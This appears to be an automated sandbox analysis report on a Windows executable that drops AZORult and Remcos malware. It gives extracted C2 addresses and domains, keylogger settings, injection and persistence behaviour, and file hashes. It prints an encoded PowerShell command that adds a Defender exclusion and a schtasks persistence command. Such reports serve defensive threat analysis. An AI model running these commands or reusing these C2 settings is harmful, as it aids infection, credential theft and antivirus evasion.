Analysis
-
max time kernel
149s -
max time network
148s -
platform
windows10-1703_x64 -
resource
win10-20220812-en -
resource tags
arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system -
submitted
14-08-2022 05:15
Static task
static1
Behavioral task
behavioral1
Sample
d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe
Resource
win10-20220812-en
General
-
Target
d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe
-
Size
454KB
-
MD5
a6307dc412b139f4c6e3285dbc3a624e
-
SHA1
0adf43e6593e7c46cdd5f0536e6ed966b3ed22fc
-
SHA256
d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343
-
SHA512
7cb5edde935bfb490c382ef13bc5b1ee9c3485e8732896a6bb742853c69c6d646dd9d7e9c238b5bbfb6fd8dc5631a65a940e5146b2acff6129cfc68f69537b7d
Malware Config
Extracted
azorult
http://195.245.112.115/index.php
Extracted
remcos
08132022
nikahuve.ac.ug:6968
kalskala.ac.ug:6968
tuekisaa.ac.ug:6968
parthaha.ac.ug:6968
-
audio_folder
MicRecords
-
audio_path
%AppData%
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
true
-
install_flag
false
-
install_path
%AppData%
-
keylog_crypt
true
-
keylog_file
scaxs.dat
-
keylog_flag
false
-
keylog_folder
foracbas
-
keylog_path
%AppData%
-
mouse_option
false
-
mutex
sdfxyttyvcweghfgfhtd-Z6835D
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
startup_value
Remcos
-
take_screenshot_option
false
-
take_screenshot_time
5
-
take_screenshot_title
notepad;solitaire;
Signatures
-
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
Downloads MZ/PE file
-
Executes dropped EXE 9 IoCs
Processes:
XpY5sYg8.exe9K4G6glk.exeV1v5lb2r.exe7d7yOc8T.exeV1v5lb2r.exeoobeldr.exeoobeldr.exeoobeldr.exeoobeldr.exepid process 4500 XpY5sYg8.exe 5080 9K4G6glk.exe 3160 V1v5lb2r.exe 4144 7d7yOc8T.exe 2664 V1v5lb2r.exe 3956 oobeldr.exe 188 oobeldr.exe 2684 oobeldr.exe 3592 oobeldr.exe -
Loads dropped DLL 7 IoCs
Processes:
d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exeMSBuild.exepid process 4112 d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe 4112 d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe 4112 d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe 4708 MSBuild.exe 4708 MSBuild.exe 4708 MSBuild.exe 4708 MSBuild.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
7d7yOc8T.exe9K4G6glk.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000\Software\Microsoft\Windows\CurrentVersion\Run\Qwlmgdi = "\"C:\\Users\\Admin\\AppData\\Roaming\\Wouvehqxr\\Qwlmgdi.exe\"" 7d7yOc8T.exe Set value (str) \REGISTRY\USER\S-1-5-21-1099808672-3828198950-1535142148-1000\Software\Microsoft\Windows\CurrentVersion\Run\Yfcrpi = "\"C:\\Users\\Admin\\AppData\\Roaming\\Zxdnxqg\\Yfcrpi.exe\"" 9K4G6glk.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Suspicious use of SetThreadContext 7 IoCs
Processes:
d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exeXpY5sYg8.exeV1v5lb2r.exe9K4G6glk.exe7d7yOc8T.exeoobeldr.exeoobeldr.exedescription pid process target process PID 1892 set thread context of 4112 1892 d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe PID 4500 set thread context of 4708 4500 XpY5sYg8.exe MSBuild.exe PID 3160 set thread context of 2664 3160 V1v5lb2r.exe V1v5lb2r.exe PID 5080 set thread context of 1296 5080 9K4G6glk.exe InstallUtil.exe PID 4144 set thread context of 4692 4144 7d7yOc8T.exe InstallUtil.exe PID 3956 set thread context of 188 3956 oobeldr.exe oobeldr.exe PID 2684 set thread context of 3592 2684 oobeldr.exe oobeldr.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
MSBuild.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 MSBuild.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString MSBuild.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: EnumeratesProcesses 28 IoCs
Processes:
d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exeXpY5sYg8.exepowershell.exeV1v5lb2r.exeMSBuild.exepowershell.exe9K4G6glk.exe7d7yOc8T.exeInstallUtil.exeoobeldr.exeoobeldr.exepid process 1892 d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe 1892 d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe 4500 XpY5sYg8.exe 4500 XpY5sYg8.exe 1764 powershell.exe 3160 V1v5lb2r.exe 3160 V1v5lb2r.exe 1764 powershell.exe 1764 powershell.exe 4708 MSBuild.exe 4708 MSBuild.exe 3752 powershell.exe 3752 powershell.exe 3752 powershell.exe 5080 9K4G6glk.exe 5080 9K4G6glk.exe 4144 7d7yOc8T.exe 4144 7d7yOc8T.exe 1296 InstallUtil.exe 1296 InstallUtil.exe 3956 oobeldr.exe 3956 oobeldr.exe 1296 InstallUtil.exe 1296 InstallUtil.exe 1296 InstallUtil.exe 1296 InstallUtil.exe 2684 oobeldr.exe 2684 oobeldr.exe -
Suspicious use of AdjustPrivilegeToken 31 IoCs
Processes:
d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exeXpY5sYg8.exe9K4G6glk.exepowershell.exeV1v5lb2r.exe7d7yOc8T.exepowershell.exeInstallUtil.exeoobeldr.exeoobeldr.exedescription pid process Token: SeDebugPrivilege 1892 d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe Token: SeDebugPrivilege 4500 XpY5sYg8.exe Token: SeDebugPrivilege 5080 9K4G6glk.exe Token: SeDebugPrivilege 1764 powershell.exe Token: SeDebugPrivilege 3160 V1v5lb2r.exe Token: SeDebugPrivilege 4144 7d7yOc8T.exe Token: SeDebugPrivilege 3752 powershell.exe Token: SeIncreaseQuotaPrivilege 1764 powershell.exe Token: SeSecurityPrivilege 1764 powershell.exe Token: SeTakeOwnershipPrivilege 1764 powershell.exe Token: SeLoadDriverPrivilege 1764 powershell.exe Token: SeSystemProfilePrivilege 1764 powershell.exe Token: SeSystemtimePrivilege 1764 powershell.exe Token: SeProfSingleProcessPrivilege 1764 powershell.exe Token: SeIncBasePriorityPrivilege 1764 powershell.exe Token: SeCreatePagefilePrivilege 1764 powershell.exe Token: SeBackupPrivilege 1764 powershell.exe Token: SeRestorePrivilege 1764 powershell.exe Token: SeShutdownPrivilege 1764 powershell.exe Token: SeDebugPrivilege 1764 powershell.exe Token: SeSystemEnvironmentPrivilege 1764 powershell.exe Token: SeRemoteShutdownPrivilege 1764 powershell.exe Token: SeUndockPrivilege 1764 powershell.exe Token: SeManageVolumePrivilege 1764 powershell.exe Token: 33 1764 powershell.exe Token: 34 1764 powershell.exe Token: 35 1764 powershell.exe Token: 36 1764 powershell.exe Token: SeDebugPrivilege 1296 InstallUtil.exe Token: SeDebugPrivilege 3956 oobeldr.exe Token: SeDebugPrivilege 2684 oobeldr.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
InstallUtil.exepid process 4692 InstallUtil.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exed81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exeXpY5sYg8.exe9K4G6glk.exeV1v5lb2r.exeV1v5lb2r.exe7d7yOc8T.exeoobeldr.exedescription pid process target process PID 1892 wrote to memory of 4112 1892 d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe PID 1892 wrote to memory of 4112 1892 d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe PID 1892 wrote to memory of 4112 1892 d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe PID 1892 wrote to memory of 4112 1892 d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe PID 1892 wrote to memory of 4112 1892 d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe PID 1892 wrote to memory of 4112 1892 d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe PID 1892 wrote to memory of 4112 1892 d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe PID 1892 wrote to memory of 4112 1892 d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe PID 1892 wrote to memory of 4112 1892 d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe PID 4112 wrote to memory of 4500 4112 d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe XpY5sYg8.exe PID 4112 wrote to memory of 4500 4112 d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe XpY5sYg8.exe PID 4112 wrote to memory of 4500 4112 d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe XpY5sYg8.exe PID 4112 wrote to memory of 5080 4112 d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe 9K4G6glk.exe PID 4112 wrote to memory of 5080 4112 d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe 9K4G6glk.exe PID 4112 wrote to memory of 3160 4112 d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe V1v5lb2r.exe PID 4112 wrote to memory of 3160 4112 d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe V1v5lb2r.exe PID 4112 wrote to memory of 3160 4112 d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe V1v5lb2r.exe PID 4112 wrote to memory of 4144 4112 d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe 7d7yOc8T.exe PID 4112 wrote to memory of 4144 4112 d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe 7d7yOc8T.exe PID 4112 wrote to memory of 4144 4112 d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe 7d7yOc8T.exe PID 4500 wrote to memory of 4708 4500 XpY5sYg8.exe MSBuild.exe PID 4500 wrote to memory of 4708 4500 XpY5sYg8.exe MSBuild.exe PID 4500 wrote to memory of 4708 4500 XpY5sYg8.exe MSBuild.exe PID 4500 wrote to memory of 4708 4500 XpY5sYg8.exe MSBuild.exe PID 4500 wrote to memory of 4708 4500 XpY5sYg8.exe MSBuild.exe PID 4500 wrote to memory of 4708 4500 XpY5sYg8.exe MSBuild.exe PID 4500 wrote to memory of 4708 4500 XpY5sYg8.exe MSBuild.exe PID 4500 wrote to memory of 4708 4500 XpY5sYg8.exe MSBuild.exe PID 4500 wrote to memory of 4708 4500 XpY5sYg8.exe MSBuild.exe PID 5080 wrote to memory of 1764 5080 9K4G6glk.exe powershell.exe PID 5080 wrote to memory of 1764 5080 9K4G6glk.exe powershell.exe PID 3160 wrote to memory of 2664 3160 V1v5lb2r.exe V1v5lb2r.exe PID 3160 wrote to memory of 2664 3160 V1v5lb2r.exe V1v5lb2r.exe PID 3160 wrote to memory of 2664 3160 V1v5lb2r.exe V1v5lb2r.exe PID 3160 wrote to memory of 2664 3160 V1v5lb2r.exe V1v5lb2r.exe PID 3160 wrote to memory of 2664 3160 V1v5lb2r.exe V1v5lb2r.exe PID 3160 wrote to memory of 2664 3160 V1v5lb2r.exe V1v5lb2r.exe PID 3160 wrote to memory of 2664 3160 V1v5lb2r.exe V1v5lb2r.exe PID 3160 wrote to memory of 2664 3160 V1v5lb2r.exe V1v5lb2r.exe PID 2664 wrote to memory of 4520 2664 V1v5lb2r.exe schtasks.exe PID 2664 wrote to memory of 4520 2664 V1v5lb2r.exe schtasks.exe PID 2664 wrote to memory of 4520 2664 V1v5lb2r.exe schtasks.exe PID 4144 wrote to memory of 3752 4144 7d7yOc8T.exe powershell.exe PID 4144 wrote to memory of 3752 4144 7d7yOc8T.exe powershell.exe PID 4144 wrote to memory of 3752 4144 7d7yOc8T.exe powershell.exe PID 5080 wrote to memory of 1296 5080 9K4G6glk.exe InstallUtil.exe PID 5080 wrote to memory of 1296 5080 9K4G6glk.exe InstallUtil.exe PID 5080 wrote to memory of 1296 5080 9K4G6glk.exe InstallUtil.exe PID 5080 wrote to memory of 1296 5080 9K4G6glk.exe InstallUtil.exe PID 5080 wrote to memory of 1296 5080 9K4G6glk.exe InstallUtil.exe PID 5080 wrote to memory of 1296 5080 9K4G6glk.exe InstallUtil.exe PID 4144 wrote to memory of 4692 4144 7d7yOc8T.exe InstallUtil.exe PID 4144 wrote to memory of 4692 4144 7d7yOc8T.exe InstallUtil.exe PID 4144 wrote to memory of 4692 4144 7d7yOc8T.exe InstallUtil.exe PID 4144 wrote to memory of 4692 4144 7d7yOc8T.exe InstallUtil.exe PID 4144 wrote to memory of 4692 4144 7d7yOc8T.exe InstallUtil.exe PID 4144 wrote to memory of 4692 4144 7d7yOc8T.exe InstallUtil.exe PID 4144 wrote to memory of 4692 4144 7d7yOc8T.exe InstallUtil.exe PID 4144 wrote to memory of 4692 4144 7d7yOc8T.exe InstallUtil.exe PID 4144 wrote to memory of 4692 4144 7d7yOc8T.exe InstallUtil.exe PID 4144 wrote to memory of 4692 4144 7d7yOc8T.exe InstallUtil.exe PID 4144 wrote to memory of 4692 4144 7d7yOc8T.exe InstallUtil.exe PID 4144 wrote to memory of 4692 4144 7d7yOc8T.exe InstallUtil.exe PID 3956 wrote to memory of 188 3956 oobeldr.exe oobeldr.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe"C:\Users\Admin\AppData\Local\Temp\d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exeC:\Users\Admin\AppData\Local\Temp\d81620ec69feb5e745b23dacc25b874cef4db7b0daeaefbdb739300838f4d343.exe2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\XpY5sYg8.exe"C:\Users\Admin\AppData\Local\Temp\XpY5sYg8.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe4⤵
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\9K4G6glk.exe"C:\Users\Admin\AppData\Local\Temp\9K4G6glk.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAwADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXAAnAA==4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\V1v5lb2r.exe"C:\Users\Admin\AppData\Local\Temp\V1v5lb2r.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\V1v5lb2r.exeC:\Users\Admin\AppData\Local\Temp\V1v5lb2r.exe4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Protect\oobeldr.exe"5⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\7d7yOc8T.exe"C:\Users\Admin\AppData\Local\Temp\7d7yOc8T.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAwADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXAAnAA==4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe4⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\oobeldr.exeC:\Users\Admin\AppData\Roaming\Microsoft\Protect\oobeldr.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\oobeldr.exeC:\Users\Admin\AppData\Roaming\Microsoft\Protect\oobeldr.exe2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Protect\oobeldr.exe"3⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\oobeldr.exeC:\Users\Admin\AppData\Roaming\Microsoft\Protect\oobeldr.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\oobeldr.exeC:\Users\Admin\AppData\Roaming\Microsoft\Protect\oobeldr.exe2⤵
- Executes dropped EXE
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\oobeldr.exe.logFilesize
1KB
MD55c01a57bb6376dc958d99ed7a67870ff
SHA1d092c7dfd148ac12b086049d215e6b00bd78628d
SHA256cb8fd245425e915bfc5ff411f26303f7cb4a30ed37f2ea4a2f0a12501aa5f2a4
SHA512e4e3a4b74f8e209573cce58b572c1f71653e6f4df98f98c5a1cecdf76c9ffb91d5e6994c89df41c9f3613a0584301a56ca922ab7497a434e108b28dcd7d33038
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
19KB
MD52f002ffb9654e2856ab1fbd8ce908f01
SHA1e28dedc3b68a7688449a54f70c359c72ed8a7153
SHA2568c9a67b6f32f232a6e6f4d6094e54e535df31489dc205523b345b718213ee4d4
SHA5126cd66c4f78488748b23abd15742196f0782a42f10ee33a0a804bfd0398e649ab73f6ccbea6b636d0e801ae9d08fcd50f580cc87d5ad4c3914d6305f992f9391a
-
C:\Users\Admin\AppData\Local\Temp\7d7yOc8T.exeFilesize
681KB
MD57f53ad123e2bcaaeb10de57ed09ce28f
SHA1f4ca1a570b8a7451b39414fd47fb66775532b8b9
SHA256758295408fb9e3e2741e097590c8c974792d80063f651f34661d47bf8a2323a6
SHA51288bddb6f11e83b8d8151fa2d2c32713bb7869d6e354b1f78c84beb89d82933aabeebf1d7120aac1572e28c57fd377085888229e32870fa699979a29363b48621
-
C:\Users\Admin\AppData\Local\Temp\7d7yOc8T.exeFilesize
681KB
MD57f53ad123e2bcaaeb10de57ed09ce28f
SHA1f4ca1a570b8a7451b39414fd47fb66775532b8b9
SHA256758295408fb9e3e2741e097590c8c974792d80063f651f34661d47bf8a2323a6
SHA51288bddb6f11e83b8d8151fa2d2c32713bb7869d6e354b1f78c84beb89d82933aabeebf1d7120aac1572e28c57fd377085888229e32870fa699979a29363b48621
-
C:\Users\Admin\AppData\Local\Temp\9K4G6glk.exeFilesize
893KB
MD596f9c79192d9be4f16233178f2eee76b
SHA1dafba4f468f40beab2e61df42a43d0d3a6cb57ef
SHA2563d5381ffbeff5b5cd6a864cb3d15de8393ab4be8b1dfead3179a8079ebd68e05
SHA512a5d0c50115820f26cfa2aeaf857633e8b2d65fab1dad8913d63b4cfddc4c521dce0fabb3e100327724f6a0a4dbce56a458cac854be681f45f2ba910340d4ded7
-
C:\Users\Admin\AppData\Local\Temp\9K4G6glk.exeFilesize
893KB
MD596f9c79192d9be4f16233178f2eee76b
SHA1dafba4f468f40beab2e61df42a43d0d3a6cb57ef
SHA2563d5381ffbeff5b5cd6a864cb3d15de8393ab4be8b1dfead3179a8079ebd68e05
SHA512a5d0c50115820f26cfa2aeaf857633e8b2d65fab1dad8913d63b4cfddc4c521dce0fabb3e100327724f6a0a4dbce56a458cac854be681f45f2ba910340d4ded7
-
C:\Users\Admin\AppData\Local\Temp\V1v5lb2r.exeFilesize
431KB
MD5c88b85b0eaf5db2204c0ae914aa4a71e
SHA116f7d4264c55a640dff73aa19e229e4eec56b9d0
SHA256b11d6f9ecb21082af5dbe40b8433ca80680ae92cd7bf9a52058fe6abf35a56a3
SHA5122087ffd95da3d7a97f91d0963d10a2ce076631e497b00398e9d984f03c606585ca4f32cb772ff09caaf8674d9d8afcc5cfc7de579ea81215b980bc34f905b6e6
-
C:\Users\Admin\AppData\Local\Temp\V1v5lb2r.exeFilesize
431KB
MD5c88b85b0eaf5db2204c0ae914aa4a71e
SHA116f7d4264c55a640dff73aa19e229e4eec56b9d0
SHA256b11d6f9ecb21082af5dbe40b8433ca80680ae92cd7bf9a52058fe6abf35a56a3
SHA5122087ffd95da3d7a97f91d0963d10a2ce076631e497b00398e9d984f03c606585ca4f32cb772ff09caaf8674d9d8afcc5cfc7de579ea81215b980bc34f905b6e6
-
C:\Users\Admin\AppData\Local\Temp\V1v5lb2r.exeFilesize
431KB
MD5c88b85b0eaf5db2204c0ae914aa4a71e
SHA116f7d4264c55a640dff73aa19e229e4eec56b9d0
SHA256b11d6f9ecb21082af5dbe40b8433ca80680ae92cd7bf9a52058fe6abf35a56a3
SHA5122087ffd95da3d7a97f91d0963d10a2ce076631e497b00398e9d984f03c606585ca4f32cb772ff09caaf8674d9d8afcc5cfc7de579ea81215b980bc34f905b6e6
-
C:\Users\Admin\AppData\Local\Temp\XpY5sYg8.exeFilesize
484KB
MD5f777b0635f97e1490edb79f3edbd8aa1
SHA10109b6171aa5f470fccc52e5b0292ac1c8e904ed
SHA2567f8ca86d343ef0a4dae7be8b2872734d1bfa0afec57e31eac9c316e59a331d59
SHA51289de0a17adda1031355ed7536ebc84c2cbaf58e04a28398376bb3ff9a66f3db9ac456e5cdb9d25219278398035d1cd9a43a59ed1dfb28cb39ce7f3daf095aa48
-
C:\Users\Admin\AppData\Local\Temp\XpY5sYg8.exeFilesize
484KB
MD5f777b0635f97e1490edb79f3edbd8aa1
SHA10109b6171aa5f470fccc52e5b0292ac1c8e904ed
SHA2567f8ca86d343ef0a4dae7be8b2872734d1bfa0afec57e31eac9c316e59a331d59
SHA51289de0a17adda1031355ed7536ebc84c2cbaf58e04a28398376bb3ff9a66f3db9ac456e5cdb9d25219278398035d1cd9a43a59ed1dfb28cb39ce7f3daf095aa48
-
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\oobeldr.exeFilesize
431KB
MD5c88b85b0eaf5db2204c0ae914aa4a71e
SHA116f7d4264c55a640dff73aa19e229e4eec56b9d0
SHA256b11d6f9ecb21082af5dbe40b8433ca80680ae92cd7bf9a52058fe6abf35a56a3
SHA5122087ffd95da3d7a97f91d0963d10a2ce076631e497b00398e9d984f03c606585ca4f32cb772ff09caaf8674d9d8afcc5cfc7de579ea81215b980bc34f905b6e6
-
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\oobeldr.exeFilesize
431KB
MD5c88b85b0eaf5db2204c0ae914aa4a71e
SHA116f7d4264c55a640dff73aa19e229e4eec56b9d0
SHA256b11d6f9ecb21082af5dbe40b8433ca80680ae92cd7bf9a52058fe6abf35a56a3
SHA5122087ffd95da3d7a97f91d0963d10a2ce076631e497b00398e9d984f03c606585ca4f32cb772ff09caaf8674d9d8afcc5cfc7de579ea81215b980bc34f905b6e6
-
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\oobeldr.exeFilesize
431KB
MD5c88b85b0eaf5db2204c0ae914aa4a71e
SHA116f7d4264c55a640dff73aa19e229e4eec56b9d0
SHA256b11d6f9ecb21082af5dbe40b8433ca80680ae92cd7bf9a52058fe6abf35a56a3
SHA5122087ffd95da3d7a97f91d0963d10a2ce076631e497b00398e9d984f03c606585ca4f32cb772ff09caaf8674d9d8afcc5cfc7de579ea81215b980bc34f905b6e6
-
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\oobeldr.exeFilesize
431KB
MD5c88b85b0eaf5db2204c0ae914aa4a71e
SHA116f7d4264c55a640dff73aa19e229e4eec56b9d0
SHA256b11d6f9ecb21082af5dbe40b8433ca80680ae92cd7bf9a52058fe6abf35a56a3
SHA5122087ffd95da3d7a97f91d0963d10a2ce076631e497b00398e9d984f03c606585ca4f32cb772ff09caaf8674d9d8afcc5cfc7de579ea81215b980bc34f905b6e6
-
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\oobeldr.exeFilesize
431KB
MD5c88b85b0eaf5db2204c0ae914aa4a71e
SHA116f7d4264c55a640dff73aa19e229e4eec56b9d0
SHA256b11d6f9ecb21082af5dbe40b8433ca80680ae92cd7bf9a52058fe6abf35a56a3
SHA5122087ffd95da3d7a97f91d0963d10a2ce076631e497b00398e9d984f03c606585ca4f32cb772ff09caaf8674d9d8afcc5cfc7de579ea81215b980bc34f905b6e6
-
\Users\Admin\AppData\LocalLow\mozglue.dllFilesize
612KB
MD5f07d9977430e762b563eaadc2b94bbfa
SHA1da0a05b2b8d269fb73558dfcf0ed5c167f6d3877
SHA2564191faf7e5eb105a0f4c5c6ed3e9e9c71014e8aa39bbee313bc92d1411e9e862
SHA5126afd512e4099643bba3fc7700dd72744156b78b7bda10263ba1f8571d1e282133a433215a9222a7799f9824f244a2bc80c2816a62de1497017a4b26d562b7eaf
-
\Users\Admin\AppData\LocalLow\nss3.dllFilesize
1.9MB
MD5f67d08e8c02574cbc2f1122c53bfb976
